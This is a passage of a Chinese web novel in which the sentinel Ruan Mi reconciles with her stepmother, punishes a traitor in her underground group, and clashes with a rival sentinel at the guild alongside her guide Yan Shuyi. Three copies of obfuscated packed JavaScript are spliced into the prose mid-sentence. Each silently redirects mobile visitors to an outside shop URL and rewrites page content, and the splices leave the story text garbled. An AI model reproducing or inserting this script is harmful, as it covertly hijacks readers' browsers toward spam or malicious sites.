“至于小言,你的向导,感情这种东西千变万化,万分复杂,想立刻得到一个确定的答案是不可能也不可取的,所以小弥,我们来约定一个期限吧。” “在这个期限到来之前,你不需要再去考虑未来,不需要去考虑其他没有发生的可能,小弥你只需要遵从自己内心去对待和感受。” “……在这一次精神结合失效之前。” “那就说好了,我们来拉钩吧。” “好。” 阮怀清也有自己的事情要忙,她在索兰等待阮弥苏醒已经花费了很长的时间,与阮弥短暂相见后,她们又要再度分别。 她给了阮弥一只手提箱,里面有十支药剂。 “小弥,这是最新研发的哨兵抑制剂,但因为你是特级哨兵,我只能确保它有一定的效果。” 阮弥眼中有显而易见地不舍,阮怀清看着也心中泛起悲伤,她捧起阮弥的脸笑了笑:“好啦小弥,不要难过,我保证,我们下一次见面不会太久。” 一段时间前收到消息的言述一也回来了。 “小弥,我有东西忘记拿了,就放在书房的桌子上,你帮我拿一下吧,我和小言单独说几句话。” 目送阮弥的身影消失在拐角,阮怀清重新注视起言述一。 阮弥的碧蓝眼眸明显继承自她的母亲,如果说阮弥的眼睛是天空和大海,偶尔会风雨交加,更多时候会让人觉得那是一片万里晴空。 那阮怀清的双眼就是一潭深水,无波无澜,不知深浅。 “小言,阿姨一见到你就觉得你是个不错的孩子,我家小弥要是有什么不对的地方劳烦你多多包涵。” 她笑着,下一刻一个透明的屏障将他们笼罩,隔绝外界的同时断绝了精神力的游弋,阮弥不会听到他们的谈话。 “阿姨,我会的,而且这段时间都是阮弥照顾我更多。”言述一攥着自己的手心,神态自若地回应。 “你有这份心便好,小弥她呢,从小就没有父亲,作为她的母亲我也没有照顾好她。我已经让小弥承受了太多不幸,我不想也不会让这样的状况再度发生。” “我衷心祝愿你不会是我的敌人。” “不必着急给我答案,希望我的这些话没有伤害到你。” 话音落下,那隔绝的屏障也随之消失,阮弥手中拿着一个绛紫色礼盒向他们走来:“妈,是这个吗?” “对,就是这个。”阮怀清将礼物递到言述一手中,“给,小言,收下吧,这是阿姨送你的见面礼。” 看着阮怀清脸上真心实意的笑,言述一有些恍惚:“谢谢阿姨。” 相聚的时光稍纵即逝,一行人离开,去往两个方向。阮怀清和阮弥道别后登上跃迁舰,直至消失不见,阮弥才收回目光,言述一从始至终都感受到她的不舍。 “这只会是短暂的离别。” “……嗯。” 一定不会再像从前。 8. 第 8 章 归家的中途天色已深,二人的终端同时收到一条消息提醒:有人在屋外等待。 “显示到访者是周澜。”阮弥在驾驶,言述一转述给她听。 “是她啊……”阮弥眯起眼,思绪在脑海中翻涌,“她是我的后妈,让她先进去吧。” 回到前院,透过落地窗就能看见客厅里已经有人等候多时。除开预想中的身影外还有一对明显怀揣着心事等候已久的双胞胎兄妹,在看见阮弥的那一刻无法抑制地喜笑颜开。 门扉转动,随后再次闭合。 “弥姐姐!” 阮弥点头示意,目光落在一旁穿着得体的女士身上:“澜姨,这是我的向导,言述一。” “你好,我是周澜。” “我们上去说吧。”礼节性的问询到此结束,阮弥直截了当地开口,又侧身对言述一低声说道:“你想休息或者待在这里都没问题,云开月明他们两个能照顾好自己。” 目送阮弥离开后,言述一留了下来。 “言哥哥好。” “你们好啊。” 二人沉默地走着,脚步声是她们唯一的交流,周澜落后阮弥些许,昏黄灯光下的神色是难以掩盖的疲惫,直到合上书房的门阮弥才迟迟出声。 “澜姨。”她咬字极重,“你还敢来找我啊。” “阮弥……对不起。” “无论是现在,还是过去,我从没想过让你死去,我也不想夺走你的资产……不管你相不相信。” 长久的沉默中,看着背对自己的人影,周澜叹了口气继续说下去。 “你被圣所关起来的那天我本来想给你母亲发通信,可季家在我得知消息时就抢了我的终端,把我锁在房间里。” “等到我出来,所有人都说你已经死了。” “遗产转移要亲属签字,他们不敢找你母亲,说我是你成年前的监护人,用云开月明要挟我让我签字。我真的很抱歉……圣所和季家达成了协议来利用你,我没有发现他们的阴谋。” 周澜一直都被蒙在鼓里。 明明她已经嫁入季家十多年,他们还是不相信她。生下孩子之前一切都是那么正常,直到季家来来回回检测发现两个孩子身上没有任何精神力天赋,周澜才得知在自己之前季家还有一个孩子。 她也才知晓,自己能嫁入季家是因为她的姊妹生下拥有精神力天赋的孩子。 他们说,那个孩子天赋极高,他们说,要把那个孩子抢过来。 周澜不明白,为什么要让一个孩子离开自己的母亲,就因为这种可笑的理由? 曾经十二岁小女孩的身影和如今的阮弥渐渐重合,充满怒火的双眼时至今日仍未平息,周澜知晓,她的恨意无止无休。 “所以?你又一次被他们当枪使?” “……对。” 周澜一直想脱离季家,甚至为此付出很多努力也未能如愿。 即便是奉行精神力至上的索兰,也有不得利用婚姻等手段筛选子女天赋的法律规定。 季家再娶已经是众目睽睽,一次婚姻破碎还说得过去,那第二次呢?又算什么?他们经受不起舆论冲击,更经不起人类联邦彻查。 孩子,孩子,孩子,他们永远会用孩子去要挟她,仿佛那不是和他们血脉相连的亲人,而是用来捆住她的绳索。 看着陷入痛苦的周澜,阮弥同样思绪万千,比起大多数嫁做人妻的女性周澜身上没有柔和的特质。 她一直都觉得,比起母亲,周澜更像自己的姐姐。 即便跃迁技术早已成熟,阮怀清也不可能时时刻刻在她身旁,在她没成年之前,生活学业上的大部分事情都是周澜在帮她料理。 在圣所上学时阮弥打人请家长也是叫的周澜,并且对方也如约没有告诉阮女士,在成为特级向导那天,也是周澜第一时间发现她在持续高烧。 她仍然记得当时自己从周澜身上感受到的所有情绪,着急,不安,愧疚,担忧…… 唯独没有烦躁。 根据后来阮女士和她说,发现她在高烧后周澜没有告知季家的其他人而是第一时间告诉阮怀清,等阮女士赶到,见到的也是周澜在悉心照料自己。 “……成为哨兵是我自己的选择,他们也没有如愿得到我的资产,我没有任何利益损失你不用过多自责。” 周澜也知道阮弥不会对她做什么,是她内心的愧疚驱使着她来见一见阮弥。 “好。”她强撑着露出笑,“你没事就好。” 她从不想夺走任何人的孩子,更不愿让自己从小看到大的阮弥死去。 了却一段心结周澜也没了继续停留的理由,她侧过身,打算就此告别离开,她不知道自己会不会再见到阮弥,也不知道自己究竟要何时才能摆脱牢笼。 “等一下。”阮弥出声叫住她,朝她走来,将一块小型终端递到她的手心。 “我相信,你会对里面的东西感兴趣的。” 楼上楼下氛围截然相反,两兄妹已经成年,不是什么都不懂的小孩子:“言哥哥,我们知道你肯定想问我们有关弥姐姐的事情,但先说好,我们只能告诉你一些能说的小事情哦。” “好啊。” 对言述一来说,关于阮弥的一切他都想有所了解。 “小时候的事情其实记不太清了,只知道我们有了个姐姐,她不喜欢回家我们也不常见面,好像总是有些不开心。” “后来我们知道了弥姐姐不喜欢季家,但她对妈妈和我们还是很好的。” 逢年过节还有生日上会见面,阮弥都会给他们准备礼物,有时候不得不参加的烦人宴会阮弥也会带着云开月明理直气壮地离开。 “我和哥哥都没有精神力天赋,大部分时候都是从别人口中还有妈妈那里听见弥姐姐的近况。” “由于一些原因,有些人总是在说弥姐姐坏话,但我们比任何人都清楚,她远没有传闻中的可怖。” “说起来……这些传闻的起因也是我们。” 云开和月明光凭成绩都可以上圣奎姆最好的学校,可季家偏偏要让他们去声名狼藉的贵族学院。 “里面身份地位钱财名利比季家出众的人比比皆是,季家除了有身为特级向导的弥姐姐之外一无是处,没有什么核心产业,更没有什么说得上话的地方,从前积累的财富早就被败光,能获利的项目都是依靠弥姐姐得到的资源。” “有些人总是蛮不讲理,明明什么都有却还是不满足,我们一直在退让,依然会被人捉弄。” 说是捉弄,实际上的困境只有他们兄妹彼此清楚。 “后来有一天弥姐姐知道了,她来学校把那些讨厌的家伙全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546837|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揍了一顿。”说到这里月明和云开都扬起笑容,“虽然还是赔礼道歉啦但他们再也没有欺负过我们,妈妈和我们都很开心,也很感激。” 月明永远记得那一天,那些讨厌的、该死的、高高在上的家伙们全被阮弥扔进了水里。 学校里观赏用的池塘并不深,池水上血色荡漾,但没有一个人敢直起身来。 “这就是你们恃强凌弱的感觉吗?” “真可惜,现在强的一方,是我啊。” 平日里的阮弥并不会这样,不过当时身为索兰唯一神志清醒的特级向导,就算她把塔拆掉圣所那些老家伙也不敢拿她怎么样。 “也是因为这件事,索兰的一些家族都对弥姐姐怀恨在心。于是在另一位特级向导诞生后,他们就计划着除掉弥姐姐。” 在那之前,他们要利用掉她身上的所有价值。 “我们也是最近才清楚这些事情,没办法早些帮上忙……今天妈妈其实也不想让我们跟着来的,只是我们有些担心,也想见到弥姐姐,看见她平安无事我们也就放心了。” 静静聆听许久的言述一能感受到云开月明两人的话语毫无作假,那些情感与记忆都是真实。 “她现在一切安好,至于那些从前的事,真是辛苦你们了。” “谢谢……事到如今我们也不会再奢求什么,只希望妈妈和弥姐姐,还有我们彼此平安顺遂吧。” 言述一又细细询问那些对阮弥怀有恶意的家族后,阮弥和周澜也从楼上回到客厅,见到言述一还在客厅阮弥有些意外。 “都在聊些什么呢?” “上学生活。” 云开月明见到阮弥和周澜一起下来则是松了口气,相互对视一眼后,月明强装不经意地问道:“弥姐姐,等过节的时候你还会来看我们吗?” 阮弥停顿片刻,很快就勾起笑容应下:“当然,你们平时要是有什么事情也都可以告诉我。” 她抬手摸摸月明的脑袋,叮嘱道:“要平平安安,照顾好彼此和你们的妈妈。” “我们会的,弥姐姐你也是。” 见此情形周澜面上也浮现笑意,她看向阮弥:“天色也晚了,我先带他们回去了。” “再见,澜姨。” 等到送走周澜一行人,先前订购的家具也到了,又折腾一段时间后已经到了深夜,一天内经历的事情太多,阮弥空闲后只想倒头就睡。 她站在三楼连廊伸了个懒腰,言述一也整理完东西走到她身旁。 “今天真是辛苦你和我到处跑了。” “没关系的,我觉得都很有意思。” 不管是阮弥的家人朋友们,还是那些惹是生非的哨兵,都是言述一漫长沉睡的生涯中没有经历过的事。 他还记得阮弥明天还要去找洛安她们,虽说有些失落,但他清楚阮弥极有可能不会带他去。 “我可以要一个奖励吗?” “嗯……你想要什么?”阮弥看向言述一,只要是合理范围内她都不会拒绝。 他浅笑着,没有回答,身体却向前半步严丝合缝地拥住阮弥,随即她的耳畔响起略微低哑的声音: “一个拥抱。” 期待已久的拥抱没有持续很久,言述一很快就浅尝辄止般放开,朝阮弥展露笑颜。 “晚安,阮弥。” 9. 第 9 章 昏黄灯光下,金色亮片洒落一地。 室内聚集不少的人,已经一哄而散分布在各处,每个人看起来都很有精神,实际上是压根没睡。 圆形吧台位于中央,顶着细碎亮片和彩带的阮弥正生无可恋地坐在高脚椅上,冰块与液体混合碰撞的声音萦绕耳畔。 五颜六色的电子横幅高悬在她头顶:恭迎老大出塔!!! 最后一个字原本是狱,被画了一个显眼的红叉再插入一个塔,问就是不想更改底层代码。 阮弥正在清理自己终端上的消息,她被关进塔一月有余,除开洛安给她整理的那些重要信息,还有不少人都给她发来慰问。 装满深红色液体的高脚杯被推到她的面前:“给,老大,这是你要的没酒精的鸡尾酒。” “哟,酒都不喝了?”有了向导的人就是不一样。 来自不远处的调侃声阮弥选择性失聪,看见杯壁上反射出她脑袋上不知道要处理多久的亮片她就有些心累。 “怎么在发呆啊老大?在想你的向导?” 洛安笑眯眯闯进阮弥的视线,拉开阮弥身旁的椅子就坐下。 触发关键词,正在整理吧台的酒保动作肉眼可见变得缓慢,更多人则竖起耳朵微微侧身,屏息凝神等待着阮弥的回应,在场的人没一个不关心阮弥的恋情。 对此,阮弥慢悠悠拿走自己发丝上的彩带:“我拒绝回答。” “那就是在想了,所以老大你干嘛不直接把他带着来?还是说你不相信他?” “带他和我一起来,然后被你们撒一头顶亮片?” 更何况言述一的头发比她的还长一些,阮弥深知基地这些人没几个靠谱,她不在肯定有人会出些千奇百怪的主意。 “大家也是好久没见到老大你了有些激动嘛,下次一定不买这个类型的礼炮了。”洛安伸手帮她打理。 “还想有下次是吧。”再有下次她就要用精神力撒在每一个人头上! 身后其他人的讨论声不大却清晰地传入阮弥耳中:“我懂了,老大这是在害怕。” “害怕什么?担心对方家里人说老大你联邦审查过不去不能让你们在一起吗?” “对对对,就是那种‘关于怎么和精神结合对象说自己其实是某个黑吃黑地下组织老大这件事’。” 听得洛安在一旁哈哈大笑出声,阮弥扶住自己的额头:“……你们能不能滚?再说了,我才没有违背联邦基本法!” 她的联邦审查才不会有问题! “在场的可都是证人,安安姐还是关键证人。” 阮弥啧了一声:“到时候我就把你们的记忆全处理了。” “天呐,老大她竟然没想杀我们!我哭死!” “她真的,我哭死。” “停停停,好不容易回来一趟就没有什么十万火急的事情让我定夺一下吗?”阮弥觉得自己这个老大已经威严不再。 “有啊有啊,那个做程序的跑路被我们抓回来了,他还想往外泄露消息。” 听到这话,正在角落盘算什么时候能出去逛街的靓丽女性高举起手呐喊: “老大你不要处死他啊我不想加班!这段时间我都在全天候待命,我感觉自己要失去生命中一些美好的品质了,不管是洗脑还是精神烙印还是其他什么东西老大你一定不要放过他啊——” “但他要实在是不识好歹老大你要杀就杀吧!我会努力活下去的……” 见此情形,阮弥轻笑一声应下:“好。” 喝完那杯没酒精的鸡尾酒后,阮弥和洛安就来到酒吧负一层,一尘不染的空旷过道只有她们二人的脚步声回荡。 说是什么地下组织现在好像也有模有样,最开始其实只有她们两个人,慢慢扩大后她们决定将人数维持在一个可控范围内。无论是阮弥还是洛安,她们的最终目标都不是成为某个庞大组织的领袖。 “想当初我可是跟着老大你风餐露宿,现在据点也有了,奖惩分明,后备支援也日益完善……可有些人啊,还总是心有不甘。” 洛安上前一步验证打开关押的房间,靠着门框带着笑朝黑暗中俯视道:“你说是吧?方泽。” 缩在角落的人影看见刺眼光芒先是一缩,睁开眼看到在洛安身后的人后,颤抖着开口:“阮弥老大……” 视线中的身影正看向他,那碧蓝双眼中不似往日和煦,无尽冷意充斥其中。 “我记得,你以前是在为财团工作?比起他们这里应该对你还算可以吧,就算小璃再不想上班她也有好好完成自己的本职工作。” 无影无形的精神力刺入他的脑海:“给我一个你还能活下去的理由。” 缩在房间里的方泽因疼痛和恐惧浑身止不住战栗,他很清楚这不是假话,阮弥是真的不会放过他,这段时间以来他没有一刻停歇地思考自己究竟要怎么做才能活下去。 “阮弥老大,我、我很抱歉……”身他上,额头上,汗水不受控地滴下。 “我听信那些大家族的谗言,以为您必死无疑,我知道我错得彻底,我想泄露的消息也只是有关基地的一些边角信息,我绝对没有参与进对您的陷害计划里。” “如果、如果您让我活下来,我会在完成原先工作的基础上全力去寻找陆绝的位置,借由这次契机我还在圣所系统里植入了病毒,我可以从中获取您需要的信息,绝对不会被他们抓到把柄。” 漫长的沉默中,他如同在无底深渊上走悬丝,在恐惧犹疑中来回摇摆。 “我可以给你一个选择,要么失去所有记忆成为一个普通人好好活着,要么继续留在这里。” “我……我要留在这里!” 方泽不是一个甘于平庸的人,否则他不会选择为财团做事,更不会冒险想要脱离组织。他想离开这里,是因为明璃永远比他强,永远不会被他替代,他想去一个让自己更加独一无二的地方。 他不甘心,他不甘心! 一阵钻心刻骨的刺痛毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546838|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无预兆将他席卷,方泽在摇摇欲坠的边缘,他知道,自己的精神留下了不可磨灭的烙印。 精神烙印算不上是什么特殊技能,只需要使用者的精神力高于被烙印者即可,具体的作用取决于使用者的精神力强度,在方泽身上的烙印则是他产生任何背叛的念头就会感到疼痛,做出实质的行为就会死去。 阮弥不会相信背叛者的口头承诺:“你必须向我证明你的价值。” 等到再无光芒后,方泽无力倒下。 离开狭小的关押室后,阮弥二人去往医疗间,她想对自己身体的实际状况有所了解。 “老大,你无论是身体还是精神的状态都很好,没有异样,精神空间还略有波动但随着时间推移会更加稳定。” “只是……”负责检验的医师脸上露出一抹难色,“出于一种尚且未知的缘由,你被强制绑定了。” “不是精神结合也不是身体结合,而是一种更深层次的绑定,你与你的向导之间有一种无法被精准测定又难以定义的关联,三大星系近百年来都没有出现过特级哨兵,没有相似案例我也无法确定这是否有关。” 短暂的寂静后,阮弥出声回应:“我知道了,谢谢你。” 在这之后,被强硬留下吃完一顿吵吵闹闹午饭的阮弥准备离开,洛安在她身边送她一程。 “说起来还真是奇怪啊,老大你说有没有一种可能,你和你的向导在还没有绑定时这种联系就存在?不过我也不是哨兵和向导,不是很懂你们这种命中注定的联系。” 洛安只知道阮弥一向不喜欢哨兵和向导的配对,她不喜欢没有选择的余地。 “或许?”就从阮弥自己的感受来说,她对言述一并没有那种一眼万年一见钟情的感觉。 “诶——真的吗?”洛安对此深表怀疑,毕竟相识数十年她从没见过阮弥会带哪个异性回家,“我是觉得啊,想要的就要去得到,不过不管是选择他还是甩了他我都会支持老大你的!” 阮弥面露浅笑:“好,那我就先回去了。” 终端上没有进出提醒说明言述一一直一个人在家没有出去过,她有点担心。 “对了老大,过段时间可能要去处理之前一直在找事的家伙,人员我差不多安排好了,我觉得还缺一个强力输出,老大你要去吗?” 看着洛安那双亮晶晶的眼睛,阮弥没有犹豫地应下:“去。” 回到家门前的那一刻,阮弥无形四散的知觉就捕捉到言述一待在自己的房间里,客厅厨房没有食物或者营养液残留的气息。 他没吃饭。 她不由得在心中推测起来,是言述一心情不好还是没适应在这里的生活?还是说她今天不应该把他一个人留在家里,应该带着一起去基地?毕竟这段时间他们一直都在一起,她昨晚也没问言述一今天想做些什么…… 没有过多纠结,很快阮弥将这些无从得知和改变的忧虑打消。 她来到言述一的房门前,抬手叩响。 10. 第 10 章 一门之隔,略微仓促的步伐声响起,很快房门就被人打开,言述一匆匆出现在她的面前。 他还穿着睡袍,发丝微乱,充满迷离的眼眸看向阮弥,阮弥甚至听见他的心跳比以往略快:“我打扰到你了吗?” “没有。”回答的中途,言述一下意识伸出手摘下阮弥头发上残留的亮片,即便洛安她们已经帮阮弥整理过几遍,仍然有漏网之鱼残存。 看着言述一手中的金灿亮片,阮弥无力解释:“这是她们干的好事。” 大概说的是洛安她们,言述一能察觉到阮弥并不排斥这种惊喜,只是颇有些无可奈何,下一刻,他见阮弥视线一转直直看向自己: “是不是还没吃饭?想出去吃还是在家吃?是我没考虑周全,应该之前就问问你。” “没关系的,是我自己的问题。”这段时间言述一和阮弥一直待在一起,阮弥不在,他就回到从前吃不吃都行的状况,纠结很久后甚至没有喝营养液,因此还被玄凤啄了好几下脑袋。 “可以出去吃吗?会不会太麻烦?”刚离开塔不久的言述一对外界还有些许好奇与向往。 “当然可以,完全算不上麻烦。” 作为索兰圣城的圣奎姆永远恒定在春日,气温常年都不会有太大差别,阮弥身穿过膝黑色风衣,言述一则是简单白底衬衫,并不是什么出众穿搭,介于两人太过赏心悦目所以频频受到注目。 阮弥早已习惯,言述一则有些不安,他还是头一次被这么多陌生人投以视线,虽然并没有恶意。 他很清楚,这些目光只有一小部分来自他本身。 阮弥是个很受欢迎的人呢。 无论是素不相识的陌生人,还是她的朋友们,甚至那些和她从前有所关联的哨兵,即便如今阮弥成为他们的同类,他们也依旧不愿死心。 这还只是言述一目前知晓的部分,哨兵和向导在普通人中占比不高,可这里是圣奎姆,哨兵向导到处都是。 作为三大人类星系如今唯一的特级哨兵,单论这一点,阮弥就会被无数人所追捧。 莫名地,那天陆衍说的话又在言述一脑海中浮现:“只是好运而已。” 好运会一直眷顾他吗?他不知道。 今早他和母亲通信,母亲说,只要他能获得幸福就好。幸福?对他来说,幸福是什么呢?立于千千万万人之上不会是他的幸福,在阮弥身边才是。 他有些担心……说是害怕也不为过。 无休无止地恐慌持续不断缠绕上言述一的思绪、精神,想要将他拽入无底深渊,他垂落身侧的指节无意识攥紧。 即便如此,即便如此……现在,是他在阮弥身旁。 从进入餐厅的那一刻,言述一就感受到有个人一直在注视自己,这样充满恶意的视线,他算得上熟悉。 又一个哨兵。 言述一能猜到对方大致的身份,说来也是奇怪,对于这些人的视线他向来感受不到任何负面情绪,他很清楚阮弥不喜欢他们,那个人甚至不敢来到阮弥面前。 他扬起笑颜,把点餐界面移到阮弥面前:“我点好了,就是不知道合不合适,你可以帮我看看吗?” “没关系,我觉得这家菜品都还不错,只要你想吃都可以试一试。” 阮弥先前在看终端上巫蔓菁发来的信息:圣所开始针对你的向导了。 指尖轻敲桌面,她见稍长的发丝垂落在椅背上,不知道为什么言述一没主动和她说,自顾自揣测半天也得不到答案,所以……还是主动问一问吧? “圣所是不是有人来找你了。” “嗯,他们让我补这些年的积分。” 每一个哨兵和向导都拥有年度指标,要完成任务去获得分数,不达标的会有惩治措施,秉承能力越大责任越大的原则,特级所需的分数就是一个天文数字,更何况还要数年叠加。 圣所妄图用这种方式让言述一迷途知返。 他不觉得这是什么问题,也没打算让圣所如愿,没告诉阮弥是因为他不想让阮弥觉得自己太过无用,不说表现自身,至少他不想给阮弥添麻烦。 只要消除记忆就好了,一个不行就两个,两个不行……那就更多个,操控思想意志什么的,也完全没问题。 想到这里,言述一微微垂下眼,用圣所教导他的礼仪切割食物。 “人为刀俎我为鱼肉。”他们和他说过,拥有特殊能力的他即便是向导,也是一柄利刃。 “待会我们去公会领任务吧?” 言述一抬头,阮弥正杵着脑袋望向自己。 索兰崇尚精神力不假,但星系中百分之九十九都是普通人,他们维系社会运作,进行规划和生产,上缴税金,是必不可少的一环。 普通人和哨兵向导之间存在天然的沟壑,圣所有些老家伙十分擅长利用这点。 并不是所有哨兵和向导都愿意听从圣所的安排,对于这类人,圣所常常会煽动舆论直至自己占领高点,而后理所应当地施以审判,这样的例子阮弥见过很多,前不久自己还亲身经历过。 “肯定还会有其他解决办法,但就我个人的经验来说,完成大众认同的基础规定是性价比最高的选择。” 就算言述一什么都不做,圣所也绝对会看在阮弥的份上暂时不予追究,可这不代表永远不会,只要没完成积分任务,言述一就有把柄在圣所手上,谁也无法预测他们会在未知的未来中用此激起多少波澜。 “如果你想接的话,我也会和你一起去。” “真的可以吗?”原本言述一就打算听阮弥的,听到她会和自己一起顿时眉开眼笑。 “当然。” 二人度过一段短暂而平静的时光,在离开之前,不那么美妙的巧合发生了:通路只有一条,有人恰好见到阮弥并驻足等待。 沈烬,是他啊。阮弥没自恋和自以为是到认为他在跟踪自己,他也没那个胆量。 她原本打算直接略过,显然沈烬不那么想,在交错分别的前一刻,他开口道:“阮弥,顾辞晏一直在公会等你。” 将话说完,没等阮弥回应沈烬就漠然退场,他也不知道自己为什么要这么做,他……只想和她说上话。 目睹这一切的言述一在心底冷笑,装可怜?谁不会装可怜? “要是很麻烦的话就算了吧。”言述一可怜兮兮地垂下视线,搭上自己的手臂攥住衣褶,“我……不想给你增加困扰。” “你不想和我一起执行任务了吗?” “……我想。” “那就和我一起,不用管他们,这些小事我可以解决。”阮弥莞尔一笑,朝言述一伸出手,“相信我吧?” “嗯!”言述一从善如流牵上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546839|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他并不在乎那个哨兵是谁,也不在乎那人口中的顾辞晏又是哪位,只要他能在阮弥身边,无论做什么都可以。 去往公会的途中,阮弥在告诉言述一大致流程,他自己也在查阅和了解相关信息。 在公会公开的数据中,他发现阮弥已经蝉联六年积分榜总榜第一,就连今年的实时数据第二名距离阮弥现有分数还有将近三分之一的差距,更别说排在第三的陆衍。 那些冷冰冰的分数却刺痛言述一,他看向阮弥,驶过的气流吹动她的碎发:“这一定很辛苦吧?” “还好,已经习惯了。” 他见那双眼中并没有什么特别的情绪浮现,的确如阮弥所说,她早就适应那样的生活。 “绝大多数任务都不需要我负责所有流程,收集信息这些前期准备会有其他人完成,善后也是。做任务也不全是坏处,除开积分之外任务也会有报酬,算得上是各取所需。” 阮弥自己接下的任务有组织协助,其余指派或合作任务中很大一部分人对向导带有偏见,只会让阮弥在飞船待命,她也乐享其成。 “圣所统一制定的计划其实是保障底线,基本能完成,他们也不敢从中吃多少回扣,也就多劳多得。” 这对大多数人来说是极好的,除了特级。 作为权力的享有者,圣所能轻而易举地针对单一个体,其中就包括同样特殊的特级。他们既不是普通人,又无法让其他同为哨兵向导的群体共情,如果再加上自身不够强大,就会被狠狠压榨。 阮弥不打算把自己的想法和经历全盘托出,她只是认为言述一没必要再重蹈覆辙。 静静聆听的言述一想说些什么,最终却没有开口,他很清楚阮弥不需要自己的安慰。 思绪间,一个通体银白的巨大圆环闯入视野,它没有任何连接地面的支点,漂浮在空中,缓慢恒定地旋转。直至走近,透过圆环中间言述一得以看到悬于天际之上,隐匿于蔚蓝天空中真正的公会总部。 在阮弥踏入的一瞬,无形的屏障将二人笼罩,随即消失在原地。 再回神,言述一已经身处公会大厅,他这也明白,刚才所见的圆环是巨构本体的投射。 公会大厅都是自动化流程,言述一按照教程注册、拍照、领取自己的公会人员凭证,阮弥则在一旁答疑和更改自己的身份信息。 看着凭证上他不久前拍下的照片,他有些好奇阮弥凭证上的照片会是什么样? 他凑了过去。 “怎么了?”阮弥没有停下手中的动作问道。 “我想看看你的照片。” 阮弥没带着证件,她出终端上绑定的页面,那是和现在一样的眉眼,和现在不同的是照片中的她把自己半长的发扎起,系着领带,身穿衬衫和西装。 “这是去年刚补办的,之前的在一次战斗波及中损毁了。” 如愿看到阮弥照片的言述一眉眼弯弯,看着看着他却开始摩挲自己的长发略微忧虑地开口:“我的头发是不是太长了一些?” “我觉得没关系,按照你的心意就好。” 闲聊的间隙,远处传来匆匆的脚步声,路过的人有些好奇,但在看了一眼是谁后就急忙收回视线唯恐避之不及。 “阮弥!” 她侧身回望的同时,那人就被死死定在原地。 11. 第 11 章 “你还没把脑子里的病治好吗?见到人就大呼小叫。” 对待莫名其妙的人阮弥从头到脚都透露着冷漠和不耐烦,要不是事发突然,她压根不想去理会被她隔离在几米外一头黄毛的顾辞晏。 “阮弥,你真是疯了才会去做他们的实验品。” “那又如何?我现在好得很,用不着你顾大少爷忧心。”话不投机半句多,阮弥可没空站在这里和顾辞晏辩论,她挽起言述一的手臂就要带他离开,“我们走吧。” 迟迟发现阮弥身边出现一个陌生男人的顾辞晏顷刻出声质问:“他是谁?” “和你有关系吗?” 时隔许久好不容易再见到阮弥的顾辞晏没打算就这么让她离开,他调动自己的精神力破开禁锢,擦掉嘴角流出的鲜血,拦在阮弥二人面前。 “你和他精神结合了?” 察觉到对面两人精神上有所联结,顾辞晏脸上的表情几经转折,最后像是为了说服自己一样笑着呢喃:“没关系,精神结合而已,临时的精神结合又不代表你们永远会在一起……” 听到这话,言述一挽着阮弥的手一紧,阮弥目光中的冷冽也愈发加重,嗤笑出声。 堪称恐怖的精神力凝成细针朝顾辞晏冲去,如同暴雨倾泻。 “不知死活的东西。”顾辞晏永远都是这样,从不觉得自己的想法和行为有任何问题。 阮弥动手完全合乎情理,圣所规定上写得明明白白清清楚楚:挑衅已有伴侣的哨兵或向导,非重大恶劣情况不予追究。 她的攻击被顾辞晏抵挡一部分,依旧在他身上留下不小的创伤,到处都是细密的血痕。 如果顾辞晏当场死亡就算重大恶劣,阮弥没有下死手。 此情此景,围观群众不敢再靠近半步,开始慌乱后退,装作自己在忙手中的工作时不时忍下心中好奇远远观望。 同样身为旁观者的言述一抿着唇角,努力不让自己显得太过欣喜。 手臂被人轻轻拽住,是阮弥正看向自己,看出她眼中的担忧言述一浅笑:“我没事的。” 他不确定自己出手会不会被阮弥察觉让她不悦,不然他还想补上几刀。 从言述一的笑中阮弥却读出隐忍和退让,愧疚涌上她的心头,她不禁反问自己:阮弥啊阮弥,你这个哨兵怎么当的! “……你为了他对我动手?” 缓和过来的顾辞晏还是不依不饶,眼神死死盯着阮弥,阮弥当即决定快步离开,还没等她走几步,就听见一记极为响亮的耳光。 “顾辞晏,你这个蠢货!” 闻声阮弥止住步伐,她还挺乐意看见顾辞晏受苦受难,不过就是这么短暂的一耽搁,她和站在顾辞晏身边的女性对上视线。 不好,又走不掉了。 公会大厅人来人往,有人路过和同伴闲聊:“调解室搬到这里来了吗?怎么没有椅子。” 同伴急忙拉人快步走开:“你个没眼力见的,这是特级公开会议!” “噢——” 无辜路人话音刚落,那位身穿蓝白色公会制服的女性已经匆匆来到阮弥面前。 “你好阮弥女士,我是云芷,真是抱歉,我是顾辞晏的表妹,也是现在负责管理他的向导。” 